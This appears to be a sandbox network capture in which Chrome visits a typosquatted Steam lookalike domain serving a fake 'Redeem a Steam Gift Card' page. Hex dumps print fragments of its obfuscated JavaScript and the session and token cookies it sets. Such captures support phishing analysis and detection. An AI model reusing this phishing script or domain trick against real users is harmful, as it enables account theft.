2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 34 58 69 63 65 6d 28 30 78 34 33 29 5d 3a 2d 30 78 31 38 36 2c 61 75 3a 2d 30 78 36 39 2c 6f 3a 41 73 63 74 64 6d 28 28 75 34 63 4a 54 55 3d 7a 4c 31 34 63 67 66 3d 3d 54 79 48 5a 7a 76 62 28 30 78 37 33 29 29 3d 3e 7b 69 66 28 21 75 34 63 4a 54 55 29 7b 72 65 74 75 72 6e 20 68 43 75 79 5a 61 7d 72 65 74 75 72 6e 20 56 35 50 6a 63 31 67 2b 3d 7a 4c 31 34 63 67 66 2d 30 78 32 33 65 7d 2c 30 78 30 29 2c 5b 56 34 58 69 63 65 6d 28 30 78 33 66 29 5d 3a 28 75 34 63 4a 54 55 3d 68 43 75 79 5a 61 2e 63 3d 3d 30 78 32 33 29 3d 3e 7b 69 66 28 21 75 34 63 4a 54 55 29 7b 72 65 74 75 72 6e 27 50 27 7d 72 65 74 75 72 6e 20 68 43 75 79 5a 61 2e 4a 28 29 2c 68 43 75 79 5a 61 2e 64 3d 21 30 78 31 7d 2c 5b 54 79 48 5a 7a 76 62 28 30 78 38 35 29 5d 3a 2d 56 34 58 69 63 65 Data Ascii: 4Xicem(0x43)]:-0x186,au:-0x69,o:Asctdm((u4cJTU=zL14cgf==TyHZzvb(0x73))=>{if(!u4cJTU){return hCuyZa}return V5Pjc1g+=zL14cgf-0x23e},0x0),[V4Xicem(0x3f)]:(u4cJTU=hCuyZa.c==0x23)=>{if(!u4cJTU){return'P'}return hCuyZa.J(),hCuyZa.d=!0x1},[TyHZzvb(0x85)]:-V4Xice

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:17 UTC	1084	OUT	GET /20412b512e0800575e575558255a5b54520c0f05 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs
2024-10-06 12:08:17 UTC	1178	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:17 GMT Content-Length: 0 Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g; Path=/; Expires=Sun, 06 Oct 2024 16:08:17 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ilqs4sUsp326XfcIYqcAd5HtCdQIs69cOqbX94GaMm0kq7dsKNoOzNMnXLhxk9vNw9y1NiiBN8OpVLM7ZC3bV1b8xfDWm0XdW3vEFdgfI7ZqL82%2FSEwsWpxhgmCEwQfHqqiALCHnig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce58934b87078db-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	104.102.49.254	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:17 UTC	553	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:18 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Mon, 12 Aug 2024 15:12:44 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Sun, 06 Oct 2024 12:08:18 GMT Connection: close
2024-10-06 12:08:18 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-10-06 12:08:18 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-10-06 12:08:18 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-10-06 12:08:18 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:18 UTC	1486	OUT	GET /jfh8893040282949023/here/put HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g
2024-10-06 12:08:18 UTC	1003	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8pDtVVilzLazjYUynDguTkdacgy8g34oLiriRVksAzKIc7t8ZdgpHu%2BCzPG5x3h4rlfhrYFVgdiCFjUMRVPPKcro36EG69xS0NMRDw5qT8iN2JnxzuJJY1SMUc5qtsdi86tZ9dOB%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ce5893d1ed84205-EWR
2024-10-06 12:08:18 UTC	366	IN	Data Raw: 33 66 61 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 3fa0<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 74 69 74 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 27 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 27 20 74 79 70 65 3d 27 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 27 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 69 6d 61 67 65 27 20 63 6f 6e 74 65 6e 74 3d 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 Data Ascii: <meta property='og:title' content='Redeem a Steam Gift Card or Wallet Code'> <link rel='shortcut icon' href='https://steamcommunity.com/favicon.ico' type='image/x-icon'> <meta property='og:image' content='https://store.akamai.steamstatic.com/public/sh
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 27 45 45 56 4b 37 3d 5a 3b 3b 52 27 2c 27 45 45 30 3d 66 2c 41 27 2c 27 42 45 5a 32 62 27 2c 27 64 72 57 66 53 5b 41 27 2c 27 5b 2b 59 62 3b 6d 75 4d 5b 32 5b 75 77 50 39 64 2e 41 27 2c 27 65 50 28 67 2a 5b 2f 4e 78 53 49 3b 69 39 4d 27 2c 27 71 61 3b 49 63 2c 6d 43 27 2c 27 5a 72 65 66 65 27 2c 27 78 6f 6a 67 5d 5b 41 27 2c 27 70 77 29 2c 6c 6c 39 58 67 35 73 30 55 50 50 6e 27 2c 27 45 45 66 3c 2f 5b 6a 4e 72 55 27 2c 27 36 69 6d 66 4e 5b 55 43 2c 52 43 76 65 78 38 6a 2e 49 63 3d 79 3b 6f 65 61 55 32 75 3e 78 6a 4c 64 50 42 32 66 2c 78 76 23 46 5d 34 70 45 6e 6e 2a 55 5e 49 27 2c 27 32 61 56 4b 65 2c 41 27 2c 27 75 4a 28 67 67 3e 6d 43 27 2c 27 49 45 30 3d 63 2c 79 43 27 2c 27 64 50 40 4a 76 29 63 65 47 27 2c 27 77 35 39 4b 65 2c 41 27 2c 27 49 29 65 78 Data Ascii: 'EEVK7=Z;;R','EE0=f,A','BEZ2b','drWfS[A','[+Yb;muM[2[uwP9d.A','eP(g[/NxSI;i9M','qa;Ic,mC','Zrefe','xojg][A','pw),ll9Xg5s0UPPn','EEf</[jNrU','6imfN[UC,RCvex8j.Ic=y;oeaU2u>xjLdPB2f,xv#F]4pEnnU^I','2aVKe,A','uJ(gg>mC','IE0=c,yC','dP@Jv)ceG','w59Ke,A','I)ex
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 48 49 2b 30 78 33 35 5d 7d 2c 30 78 31 29 3b 55 4c 6d 73 6f 52 30 3d 28 42 6f 70 5a 4c 61 4d 26 66 6d 35 38 58 43 6e 28 2d 30 78 32 38 29 29 3c 3c 6f 78 65 45 62 49 28 30 78 33 66 29 7c 51 68 74 71 48 49 5b 6c 59 4f 41 6d 75 6e 2b 2b 5d 26 30 78 33 66 7d 65 6c 73 65 7b 69 66 28 42 6f 70 5a 4c 61 4d 3c 3d 30 78 65 66 29 7b 76 61 72 20 74 32 44 4e 39 62 3d 51 72 76 66 5f 62 7a 28 51 68 74 71 48 49 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2d 30 78 34 32 3a 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3c 30 78 32 31 3f 51 68 74 71 48 49 2d 30 78 34 36 3a 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2b 30 78 35 31 3a 51 68 74 71 48 49 2d 30 78 Data Ascii: HI+0x35]},0x1);ULmsoR0=(BopZLaM&fm58XCn(-0x28))<<oxeEbI(0x3f)\|QhtqHI[lYOAmun++]&0x3f}else{if(BopZLaM<=0xef){var t2DN9b=Qrvf_bz(QhtqHI=>{return dcbYO6[QhtqHI<0x46?QhtqHI>0x46?QhtqHI-0x42:QhtqHI<0x46?QhtqHI<0x21?QhtqHI-0x46:QhtqHI>0x46?QhtqHI+0x51:QhtqHI-0x
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 65 45 62 49 28 30 78 34 39 29 2c 5b 30 78 36 5d 29 2c 71 30 65 62 77 72 57 3d 67 62 74 51 6d 68 28 6f 78 65 45 62 49 28 30 78 34 37 29 29 29 3b 66 75 6e 63 74 69 6f 6e 20 49 30 49 65 63 54 64 28 50 49 44 66 41 54 7a 2c 45 65 78 66 6b 71 31 29 7b 76 61 72 20 4b 33 35 41 47 51 3d 51 72 76 66 5f 62 7a 28 50 49 44 66 41 54 7a 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 50 49 44 66 41 54 7a 3c 30 78 35 65 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 34 64 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2b 30 78 36 30 3a 50 49 44 66 41 54 7a 3e 30 78 33 39 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 31 66 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 31 30 3a Data Ascii: eEbI(0x49),[0x6]),q0ebwrW=gbtQmh(oxeEbI(0x47)));function I0IecTd(PIDfATz,Eexfkq1){var K35AGQ=Qrvf_bz(PIDfATz=>{return dcbYO6[PIDfATz<0x5e?PIDfATz<0x39?PIDfATz-0x4d:PIDfATz<0x39?PIDfATz+0x60:PIDfATz>0x39?PIDfATz<0x39?PIDfATz-0x1f:PIDfATz<0x39?PIDfATz-0x10:
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 35 41 47 51 28 2d 30 78 31 38 29 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 62 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 29 29 2c 57 58 70 39 77 36 28 2d 4b 33 35 41 47 51 28 2d 30 78 31 38 29 29 29 2f 30 78 31 2b 49 30 49 65 63 54 64 28 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 61 66 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 29 29 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 2f 4b 33 35 41 47 51 28 2d 30 78 61 29 2b 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 39 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 61 33 2c 6c 78 33 64 42 4f 4a 3d 2d 62 4a 53 6f 56 4b 28 Data Ascii: 5AGQ(-0x18))),I0IecTd(0xbb,lx3dBOJ=-0x22))),WXp9w6(-K35AGQ(-0x18)))/0x1+I0IecTd(parseInt(QhtqHI(I0IecTd(0xaf,WXp9w6(-0x22)),I0IecTd(0xb2,WXp9w6(-0x22)))),lx3dBOJ=-0x22)/K35AGQ(-0xa)+parseInt(QhtqHI(I0IecTd(0x92,WXp9w6(-0x22)),I0IecTd(0xa3,lx3dBOJ=-bJSoVK(
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3c 2d 30 78 64 3f 50 49 44 66 41 54 7a 2d 30 78 35 35 3a 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 2b 30 78 63 3a 50 49 44 66 41 54 7a 2b 30 78 31 64 3a 50 49 44 66 41 54 7a 2d 30 78 31 37 3a 50 49 44 66 41 54 7a 2b 30 78 34 65 3a 50 49 44 66 41 54 7a 2d 30 78 35 36 3a 50 49 44 66 41 54 7a 2b 30 78 66 3a 50 49 44 66 41 54 7a 2b 30 78 34 37 3a 50 49 44 66 41 54 7a 2b 30 78 31 31 3a 50 49 44 66 41 54 7a 2d 30 78 32 63 5d 7d 2c 30 78 31 29 3b 76 6f 69 64 28 77 69 6e 64 6f 77 5b 74 31 52 Data Ascii: ?PIDfATz<0x18?PIDfATz<0x18?PIDfATz>-0xd?PIDfATz<-0xd?PIDfATz-0x55:PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz+0xc:PIDfATz+0x1d:PIDfATz-0x17:PIDfATz+0x4e:PIDfATz-0x56:PIDfATz+0xf:PIDfATz+0x47:PIDfATz+0x11:PIDfATz-0x2c]},0x1);void(window[t1R
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 30 78 32 31 29 2c 6c 59 4f 41 6d 75 6e 5b 6f 78 65 45 62 49 28 30 78 34 64 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 33 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 35 37 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 35 29 2c 67 62 74 51 6d 68 28 30 78 32 36 29 2c 67 62 74 51 6d 68 28 51 68 74 71 48 49 28 2d 30 78 34 37 29 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 34 36 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 39 29 2c 67 62 74 51 6d 68 28 30 78 32 61 29 2c 66 6d 35 38 58 43 6e 5b 6f 78 65 45 62 49 28 30 78 35 30 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 63 29 2c 67 62 74 51 6d 68 28 30 78 32 64 29 2c 67 62 74 51 6d 68 2e 63 61 6c 6c 28 6f 78 65 45 62 49 28 30 78 34 39 29 2c 6f 78 65 45 62 49 28 30 78 35 31 29 29 2c 67 62 74 51 6d 68 28 Data Ascii: 0x21),lYOAmun[oxeEbI(0x4d)],gbtQmh(0x23),PIDfATz[QhtqHI(-0x57)],gbtQmh(0x25),gbtQmh(0x26),gbtQmh(QhtqHI(-0x47)),PIDfATz[QhtqHI(-0x46)],gbtQmh(0x29),gbtQmh(0x2a),fm58XCn[oxeEbI(0x50)],gbtQmh(0x2c),gbtQmh(0x2d),gbtQmh.call(oxeEbI(0x49),oxeEbI(0x51)),gbtQmh(
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 2c 27 27 29 2c 55 4c 6d 73 6f 52 30 5b 67 62 74 51 6d 68 28 30 78 31 63 29 5d 28 62 4a 53 6f 56 4b 28 30 78 33 65 36 2c 30 78 33 64 32 29 2c 72 79 45 50 37 38 79 29 2c 55 4c 6d 73 6f 52 30 5b 66 6d 35 38 58 43 6e 5b 30 78 33 5d 5d 28 67 62 74 51 6d 68 28 30 78 33 36 29 2c 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 45 65 78 66 6b 71 31 28 30 78 34 29 2c 30 78 33 63 65 29 5d 5b 72 79 45 50 37 38 79 5d 29 2c 51 68 74 71 48 49 5b 62 4a 53 6f 56 4b 28 30 78 33 65 30 2c 45 65 78 66 6b 71 31 28 30 78 35 29 29 5d 28 55 4c 6d 73 6f 52 30 29 29 7d 63 6f 6e 73 74 20 42 6f 70 5a 4c 61 4d 3d 49 30 49 65 63 54 64 28 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 30 78 33 62 37 2c 30 78 33 63 65 29 5d 5b 62 4a 53 6f 56 4b 28 30 78 33 62 38 2c 30 78 33 62 61 29 5d 2c 77 69 6e Data Ascii: 